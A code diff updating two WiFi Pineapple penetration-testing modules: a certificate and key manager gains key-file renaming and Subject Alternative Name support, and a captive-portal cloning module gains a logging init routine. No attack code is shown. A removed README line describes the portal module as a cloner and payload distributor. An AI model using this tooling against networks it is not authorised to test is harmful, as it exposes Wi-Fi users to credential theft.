||||
echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit';
|
||||
echo -e '\t-cn,--commonName:\t\tCommon Name';
|
||||
echo -e '\t-email,--emailAddress:\t\tEmail Address';
|
||||
echo -e '\t--config:\t\t\tOpenSSL config file';
|
||||
echo '';
|
||||
}
|
||||
|
||||
|
@ -41,37 +41,37 @@ while [ "$#" -gt 0 ]
|
|||
do
|
||||
|
||||
if [[ "$1" == "-d" || "$1" == "--days" ]]; then
|
||||
DAYS="$2";
|
||||
DAYS="$2";
|
||||
fi
|
||||
if [[ "$1" == "-b" || "$1" == "--bitSize" ]]; then
|
||||
BITSIZE="$2";
|
||||
BITSIZE="$2";
|
||||
fi
|
||||
if [[ "$1" == "-k" || "$1" == "--keyName" ]]; then
|
||||
KEYNAME="$2";
|
||||
KEYNAME="$2";
|
||||
fi
|
||||
if [[ "$1" == "-sa" || "$1" == "--sigAlgo" ]]; then
|
||||
SIGALGO="$2";
|
||||
SIGALGO="$2";
|
||||
fi
|
||||
if [[ "$1" == "-c" || "$1" == "--country" ]]; then
|
||||
COUNTRY="$2"
|
||||
fi
|
||||
if [[ "$1" == "-st" || "$1" == "--state" ]]; then
|
||||
STATE="$2"
|
||||
STATE="$2"
|
||||
fi
|
||||
if [[ "$1" == "-l" || "$1" == "--locality" ]]; then
|
||||
LOCALITY="$2"
|
||||
LOCALITY="$2"
|
||||
fi
|
||||
if [[ "$1" == "-o" || "$1" == "--organization" ]]; then
|
||||
ORGANIZATION="$2"
|
||||
ORGANIZATION="$2"
|
||||
fi
|
||||
if [[ "$1" == "-ou" || "$1" == "--organizationalUnit" ]]; then
|
||||
OU="$2"
|
||||
OU="$2"
|
||||
fi
|
||||
if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then
|
||||
CN="$2"
|
||||
CN="$2"
|
||||
fi
|
||||
if [[ "$1" == "-email" || "$1" == "--emailAddress" ]]; then
|
||||
EMAIL="$2"
|
||||
if [[ "$1" == "--config" ]]; then
|
||||
CONF="$2"
|
||||
fi
|
||||
|
||||
shift
|
||||
|
@ -104,14 +104,11 @@ fi
|
|||
if [ -n "$CN" ]; then
|
||||
subj="$subj/CN=$CN";
|
||||
fi
|
||||
if [ -n "$EMAIL" ]; then
|
||||
subj="$subj/emailAddress=$EMAIL";
|
||||
fi
|
||||
|
||||
if [ -n "$subj" ]; then
|
||||
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer -subj "$subj";
|
||||
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -subj "$subj";
|
||||
else
|
||||
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer;
|
||||
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -config $CONF;
|
||||
fi
|
||||
|
||||
echo "Complete";
|
||||
|
|
|
@ -1,121 +1,121 @@
|
|||
# Author: sud0nick
|
||||
# Date: Apr 2016
|
||||
|
||||
from subprocess import call
|
||||
import os
|
||||
|
||||
class ConfigHelper:
|
||||
|
||||
def __init__(self, sslDir = "/etc/nginx/ssl/"):
|
||||
self.nginxConf = "/etc/nginx/nginx.conf"
|
||||
self.lines = [f for f in open(self.nginxConf)]
|
||||
self.ssl_dir = sslDir
|
||||
self.serverBlockIndex = self.getServerBlockIndex()
|
||||
self.currentSSLCerts = self.getCurrentSSLCerts()
|
||||
|
||||
|
||||
def checkSSLCertsExist(self):
|
||||
flags = [".pem", ".cer"]
|
||||
if os.path.isdir(self.ssl_dir):
|
||||
for file in os.listdir(self.ssl_dir):
|
||||
for flag in flags:
|
||||
if flag in file:
|
||||
flags.remove(flag)
|
||||
if flags:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def getCurrentSSLCerts(self):
|
||||
certs = []
|
||||
index = self.serverBlockIndex
|
||||
for line in self.lines[index:]:
|
||||
if "ssl_certificate" in line:
|
||||
i = line.rfind("/")
|
||||
certs.append(line[i+1:].strip(";\n"))
|
||||
|
||||
return certs
|
||||
|
||||
|
||||
def getServerBlockIndex(self):
|
||||
index = 0
|
||||
for line in self.lines:
|
||||
if ("listen" in line) and not ("80" in line or "443" in line):
|
||||
return index
|
||||
index = index + 1
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkSSLConfigStatus(self):
|
||||
index = self.serverBlockIndex
|
||||
for line in self.lines[index:]:
|
||||
if "1471 ssl;" in line:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def addSSLConfig(self, keyName):
|
||||
|
||||
# Check if SSL has already been configured for port 1471
|
||||
if self.checkSSLConfigStatus():
|
||||
return True
|
||||
|
||||
index = 0
|
||||
cert = keyName + ".cer"
|
||||
key = keyName + ".pem"
|
||||
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index == self.serverBlockIndex:
|
||||
line = "\t\tlisten\t1471 ssl;\n"
|
||||
|
||||
if index > self.serverBlockIndex:
|
||||
if "root /pineapple/;" in line:
|
||||
self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n"
|
||||
"\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n"
|
||||
"\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n")
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
|
||||
return True
|
||||
|
||||
def replaceSSLConfig(self, newKey):
|
||||
cert = newKey + ".cer"
|
||||
key = newKey + ".pem"
|
||||
currentKey = self.currentSSLCerts[0].rsplit(".")[0]
|
||||
index = 0
|
||||
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index > self.serverBlockIndex:
|
||||
if (currentKey + ".cer") in line:
|
||||
line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n"
|
||||
|
||||
if (currentKey + ".pem") in line:
|
||||
line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n"
|
||||
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
|
||||
|
||||
def removeSSLConfig(self):
|
||||
index = 0
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index == self.serverBlockIndex:
|
||||
line = "\t\tlisten\t1471;\n"
|
||||
|
||||
if index > self.serverBlockIndex:
|
||||
if "ssl_certificate" in line or "ssl_protocols" in line:
|
||||
continue
|
||||
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
# Author: sud0nick
|
||||
# Date: Apr 2016
|
||||
|
||||
from subprocess import call
|
||||
import os
|
||||
|
||||
class ConfigHelper:
|
||||
|
||||
def __init__(self, sslDir = "/etc/nginx/ssl/"):
|
||||
self.nginxConf = "/etc/nginx/nginx.conf"
|
||||
self.lines = [f for f in open(self.nginxConf)]
|
||||
self.ssl_dir = sslDir
|
||||
self.serverBlockIndex = self.getServerBlockIndex()
|
||||
self.currentSSLCerts = self.getCurrentSSLCerts()
|
||||
|
||||
|
||||
def checkSSLCertsExist(self):
|
||||
flags = [".key", ".cer"]
|
||||
if os.path.isdir(self.ssl_dir):
|
||||
for file in os.listdir(self.ssl_dir):
|
||||
for flag in flags:
|
||||
if flag in file:
|
||||
flags.remove(flag)
|
||||
if flags:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def getCurrentSSLCerts(self):
|
||||
certs = []
|
||||
index = self.serverBlockIndex
|
||||
for line in self.lines[index:]:
|
||||
if "ssl_certificate" in line:
|
||||
i = line.rfind("/")
|
||||
certs.append(line[i+1:].strip(";\n"))
|
||||
|
||||
return certs
|
||||
|
||||
|
||||
def getServerBlockIndex(self):
|
||||
index = 0
|
||||
for line in self.lines:
|
||||
if ("listen" in line) and not ("80" in line or "443" in line):
|
||||
return index
|
||||
index = index + 1
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkSSLConfigStatus(self):
|
||||
index = self.serverBlockIndex
|
||||
for line in self.lines[index:]:
|
||||
if "1471 ssl;" in line:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def addSSLConfig(self, keyName):
|
||||
|
||||
# Check if SSL has already been configured for port 1471
|
||||
if self.checkSSLConfigStatus():
|
||||
return True
|
||||
|
||||
index = 0
|
||||
cert = keyName + ".cer"
|
||||
key = keyName + ".key"
|
||||
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index == self.serverBlockIndex:
|
||||
line = "\t\tlisten\t1471 ssl;\n"
|
||||
|
||||
if index > self.serverBlockIndex:
|
||||
if "root /pineapple/;" in line:
|
||||
self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n"
|
||||
"\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n"
|
||||
"\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n")
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
|
||||
return True
|
||||
|
||||
def replaceSSLConfig(self, newKey):
|
||||
cert = newKey + ".cer"
|
||||
key = newKey + ".key"
|
||||
currentKey = self.currentSSLCerts[0].rsplit(".")[0]
|
||||
index = 0
|
||||
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index > self.serverBlockIndex:
|
||||
if (currentKey + ".cer") in line:
|
||||
line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n"
|
||||
|
||||
if (currentKey + ".key") in line:
|
||||
line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n"
|
||||
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
|
||||
|
||||
def removeSSLConfig(self):
|
||||
index = 0
|
||||
with open(self.nginxConf, "w") as out:
|
||||
for line in self.lines:
|
||||
if index == self.serverBlockIndex:
|
||||
line = "\t\tlisten\t1471;\n"
|
||||
|
||||
if index > self.serverBlockIndex:
|
||||
if "ssl_certificate" in line or "ssl_protocols" in line:
|
||||
continue
|
||||
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
|
|
@ -3,8 +3,8 @@
|
|||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
if ! cp $1.pem /etc/nginx/ssl/; then
|
||||
echo "Failed to copy $1.pem to /etc/nginx/ssl/";
|
||||
if ! cp $1.key /etc/nginx/ssl/; then
|
||||
echo "Failed to copy $1.key to /etc/nginx/ssl/";
|
||||
fi
|
||||
|
||||
if ! cp $1.cer /etc/nginx/ssl/; then
|
||||
|
|
|
@ -90,7 +90,7 @@ done;
|
|||
|
||||
# Generate a password on the private key
|
||||
if [ $ENCRYPT_KEYS = true ]; then
|
||||
openssl rsa -$ALGO -in $ssl_store$KEY.pem -out $ssl_store$KEY.pem -passout pass:"$PASS";
|
||||
openssl rsa -$ALGO -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passout pass:"$PASS";
|
||||
fi
|
||||
|
||||
# If a container type is present but not an algo or pass then use
|
||||
|
@ -104,7 +104,7 @@ if [ -n "$CONTAINER" ]; then
|
|||
fi
|
||||
|
||||
# Generate a container for the public and private keys
|
||||
openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.pem -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS";
|
||||
openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.key -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS";
|
||||
fi
|
||||
|
||||
echo "Complete"
|
||||
|
|
|
@ -55,5 +55,5 @@ if [[ -z $KEYNAME ]]; then
|
|||
exit;
|
||||
fi
|
||||
|
||||
ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.pem -C $COMMENT
|
||||
mv $SSH_STORE$KEYNAME.pem.pub $SSH_STORE$KEYNAME.pub
|
||||
ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.key -C $COMMENT
|
||||
mv $SSH_STORE$KEYNAME.key.pub $SSH_STORE$KEYNAME.pub
|
||||
|
|
|
@ -11,7 +11,7 @@ while read p; do
|
|||
IN_SERVER_BLOCK=true;
|
||||
fi
|
||||
else
|
||||
if [[ $p == *".cer;" || $p == *".pem;" ]]; then
|
||||
if [[ $p == *".cer;" || $p == *".key;" ]]; then
|
||||
echo $p | cut -d '/' -f 5 | tr -d ';';
|
||||
fi
|
||||
fi
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
[req]
|
||||
prompt = no
|
||||
distinguished_name = req_distinguished_name
|
||||
x509_extensions = req_ext
|
||||
|
||||
[req_distinguished_name]
|
||||
organizationName = :ORG:
|
||||
organizationalUnitName = :OU:
|
||||
localityName = :LOC:
|
||||
stateOrProvinceName = :ST:
|
||||
countryName = :C:
|
||||
commonName = :COM:
|
||||
|
||||
[req_ext]
|
||||
subjectAltName = @alt_names
|
||||
|
||||
[alt_names]
|
|
@ -23,7 +23,7 @@ while [ "$#" -gt 0 ]
|
|||
do
|
||||
|
||||
if [[ "$1" == "-k" ]]; then
|
||||
KEY="$2.pem"
|
||||
KEY="$2.key"
|
||||
fi
|
||||
if [[ "$1" == "-d" ]]; then
|
||||
KEYDIR="$2"
|
||||
|
|
|
@ -39,14 +39,14 @@ output=$(unzip $FILE.zip -d $DL_DIR);
|
|||
# keys are destined for the SSH directory
|
||||
if [[ $output == *".pub"* ]]; then
|
||||
mv $FILE.pub /pineapple/modules/Papers/includes/ssh/
|
||||
mv $FILE.pem /pineapple/modules/Papers/includes/ssh/
|
||||
mv $FILE.key /pineapple/modules/Papers/includes/ssh/
|
||||
fi
|
||||
|
||||
# If the archive contained a .cer these
|
||||
# keys are destined for the SSL directory
|
||||
if [[ $output == *".cer"* ]]; then
|
||||
mv $FILE.cer /pineapple/modules/Papers/includes/ssl/
|
||||
mv $FILE.pem /pineapple/modules/Papers/includes/ssl/
|
||||
mv $FILE.key /pineapple/modules/Papers/includes/ssl/
|
||||
fi
|
||||
|
||||
# Clear the download directory
|
||||
|
|
|
@ -5,6 +5,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
$scope.certBitSize = "2048";
|
||||
$scope.certDaysValid = "365";
|
||||
$scope.certSigAlgo = "sha256";
|
||||
$scope.certSANs = "";
|
||||
$scope.certKeyName = "";
|
||||
$scope.modifyCertInfo = false;
|
||||
$scope.certInfoCountry = "";
|
||||
|
@ -130,6 +131,9 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
if ($scope.certDaysValid != ''){
|
||||
params['days'] = $scope.certDaysValid;
|
||||
}
|
||||
if ($scope.certSANs != '') {
|
||||
params['sans'] = $scope.certSANs;
|
||||
}
|
||||
if ($scope.certEncryptKeysBool === true) {
|
||||
params['encrypt'] = "";
|
||||
params['algo'] = $scope.certEncryptAlgo;
|
||||
|
@ -168,6 +172,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
$scope.certDaysValid = "365";
|
||||
$scope.certBitSize = "2048";
|
||||
$scope.certSigAlgo = "sha256";
|
||||
$scope.certSANs = "";
|
||||
$scope.certKeyName = "";
|
||||
$scope.certInfoCountry = "";
|
||||
$scope.certInfoState = "";
|
||||
|
@ -251,7 +256,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
params: {cert,type}
|
||||
},function(response) {
|
||||
$scope.showCertThrobber = false;
|
||||
if (response.success === true) {
|
||||
if (response.error === "HTTP Error") {
|
||||
// Redirect if key type is TLS/SSL
|
||||
if (type == "TLS/SSL") {
|
||||
$scope.redirect("https");
|
||||
|
@ -297,7 +302,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
$scope.showRemoveSSLButton = true;
|
||||
$scope.refresh();
|
||||
|
||||
if (response.success === true) {
|
||||
if (response.error === "HTTP Error") {
|
||||
$scope.redirect("http");
|
||||
} else {
|
||||
}
|
||||
|
@ -399,7 +404,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
$http.post("/modules/Papers/api/module.php", fd, {
|
||||
transformRequest: angular.identity,
|
||||
headers: {'Content-Type': undefined}
|
||||
}).success(function(response) {
|
||||
}).then(function(response) {
|
||||
for (var key in response) {
|
||||
if (response.hasOwnProperty(key)) {
|
||||
if (response.key == "Failed") {
|
||||
|
@ -413,7 +418,23 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
|
|||
});
|
||||
});
|
||||
|
||||
$scope.init = (function(){
|
||||
$api.request({
|
||||
module: 'Papers',
|
||||
action: 'init'
|
||||
},function(response){
|
||||
if (response.success == false) {
|
||||
if (response.message != '') {
|
||||
$scope.getLogs();
|
||||
} else {
|
||||
alert(response.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Init
|
||||
$scope.init();
|
||||
$scope.checkDepends();
|
||||
$scope.refresh();
|
||||
}])
|
||||
|
|
|
@ -209,43 +209,50 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
|
|||
</div>
|
||||
</div>
|
||||
<hr ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'" />
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Subject Alternative Names</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certSANs" placeholder="*.companyA.com, site1.companyB.com">
|
||||
</div>
|
||||
</div>
|
||||
<hr ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'" />
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<div class="col-md-8">
|
||||
<label>Modify Certificate Info <input type="checkbox" ng-model="modifyCertInfo"></label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel-body" ng-show="modifyCertInfo" ng-hide="!modifyCertInfo">
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Country</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoCountry">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">State/Province</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoState">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Locality</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoLocality">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Organization</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoOrganization">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Section</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoSection">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
|
||||
<label class="col-md-2 control-label">Common Name</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" class="form-control" ng-model="certInfoCN">
|
||||
|
|
|
@ -6,5 +6,5 @@
|
|||
"tetra"
|
||||
],
|
||||
"title": "Papers",
|
||||
"version": "1.4"
|
||||
"version": "1.5"
|
||||
}
|
|
@ -1,2 +0,0 @@
|
|||
# PortalAuth
|
||||
Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA
|
|
@ -94,6 +94,9 @@ class PortalAuth extends Module
|
|||
{
|
||||
public function route() {
|
||||
switch($this->request->action) {
|
||||
case 'init':
|
||||
$this->init();
|
||||
break;
|
||||
case 'depends':
|
||||
$this->depends($this->request->params);
|
||||
break;
|
||||
|
@ -224,6 +227,19 @@ class PortalAuth extends Module
|
|||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* INIT FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function init() {
|
||||
if (!file_exists(__LOGS__)) {
|
||||
if (!mkdir(__LOGS__, 0755, true)) {
|
||||
$this->respond(false, "Failed to create logs directory");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//============================//
|
||||
// DEPENDENCY FUNCTIONS //
|
||||
//============================//
|
||||
|
|
|
@ -640,7 +640,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
|
|||
$http.post("/modules/PortalAuth/api/module.php", fd, {
|
||||
transformRequest: angular.identity,
|
||||
headers: {'Content-Type': undefined}
|
||||
}).success(function(response) {
|
||||
}).then(function(response) {
|
||||
for (var key in response) {
|
||||
if (response.hasOwnProperty(key)) {
|
||||
if (response.key == "Failed") {
|
||||
|
@ -716,8 +716,25 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
|
|||
$interval.cancel($scope.stop);
|
||||
$scope.stop = undefined;
|
||||
});
|
||||
|
||||
|
||||
// Init
|
||||
$scope.init = (function(){
|
||||
$api.request({
|
||||
module: 'PortalAuth',
|
||||
action: 'init'
|
||||
},function(response){
|
||||
if (response.success == false) {
|
||||
if (response.message != '') {
|
||||
$scope.getLogs();
|
||||
} else {
|
||||
alert(response.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Init functions
|
||||
$scope.init();
|
||||
$scope.depends("-check");
|
||||
$scope.isOnline();
|
||||
$scope.checkTestServerConfig();
|
||||
|
|
|
@ -6,5 +6,5 @@
|
|||
"tetra"
|
||||
],
|
||||
"title": "Portal Auth",
|
||||
"version": "1.4"
|
||||
"version": "1.5"
|
||||
}
|
Loading…
Reference in New Issue